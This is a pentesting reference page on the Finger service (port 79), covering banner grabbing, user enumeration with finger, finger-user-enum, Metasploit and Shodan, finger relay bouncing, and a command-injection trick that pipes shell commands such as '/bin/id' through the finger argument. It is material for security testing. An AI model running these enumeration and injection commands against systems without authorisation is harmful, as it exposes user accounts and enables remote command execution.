# 79 - Pentesting Finger

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<figure><img src="https://4053168017-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbkAZDoSuRHGdNlWHdyKs%2Fuploads%2Fgit-blob-ffd918256b0d7a6e898e6b0380662a7903701da7%2Fpentest-tools.svg?alt=media" alt=""><figcaption></figcaption></figure>

**Get a hacker's perspective on your web apps, network, and cloud**

**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.

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## **Basic Info**

The **Finger** program/service is utilized for retrieving details about computer users. Typically, the information provided includes the **user's login name, full name**, and, in some cases, additional details. These extra details could encompass the office location and phone number (if available), the time the user logged in, the period of inactivity (idle time), the last instance mail was read by the user, and the contents of the user's plan and project files.

**Default port:** 79

```
PORT   STATE SERVICE
79/tcp open  finger
```

## **Enumeration**

### **Banner Grabbing/Basic connection**

```bash
nc -vn <IP> 79
echo "root" | nc -vn <IP> 79
```

### **User enumeration**

```bash
finger @<Victim>       #List users
finger admin@<Victim>  #Get info of user
finger user@<Victim>   #Get info of user
```

Alternatively you can use **finger-user-enum** from [**pentestmonkey**](http://pentestmonkey.net/tools/user-enumeration/finger-user-enum), some examples:

```bash
finger-user-enum.pl -U users.txt -t 10.0.0.1
finger-user-enum.pl -u root -t 10.0.0.1
finger-user-enum.pl -U users.txt -T ips.txt
```

#### **Nmap execute a script for doing using default scripts**

### Metasploit uses more tricks than Nmap

```
use auxiliary/scanner/finger/finger_users
```

### Shodan

* `port:79 USER`

## Command execution

```bash
finger "|/bin/id@example.com"
finger "|/bin/ls -a /@example.com"
```

## Finger Bounce

[Use a system as a finger relay](https://securiteam.com/exploits/2BUQ2RFQ0I/)

```
finger user@host@victim
finger @internal@external
```

<figure><img src="https://4053168017-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbkAZDoSuRHGdNlWHdyKs%2Fuploads%2Fgit-blob-ffd918256b0d7a6e898e6b0380662a7903701da7%2Fpentest-tools.svg?alt=media" alt=""><figcaption></figcaption></figure>

**Get a hacker's perspective on your web apps, network, and cloud**

**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.

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{% hint style="success" %}
Learn & practice AWS Hacking:<img src="https://4053168017-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbkAZDoSuRHGdNlWHdyKs%2Fuploads%2Fgit-blob-ce8af1068db7be4ad9003f8ddb02fea8f943f1a4%2Farte.png?alt=media" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="https://4053168017-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbkAZDoSuRHGdNlWHdyKs%2Fuploads%2Fgit-blob-ce8af1068db7be4ad9003f8ddb02fea8f943f1a4%2Farte.png?alt=media" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="https://4053168017-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbkAZDoSuRHGdNlWHdyKs%2Fuploads%2Fgit-blob-54ee1fb931f39d1e6f50150361b6aa1927f4ee88%2Fgrte.png?alt=media" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="https://4053168017-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbkAZDoSuRHGdNlWHdyKs%2Fuploads%2Fgit-blob-54ee1fb931f39d1e6f50150361b6aa1927f4ee88%2Fgrte.png?alt=media" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

<details>

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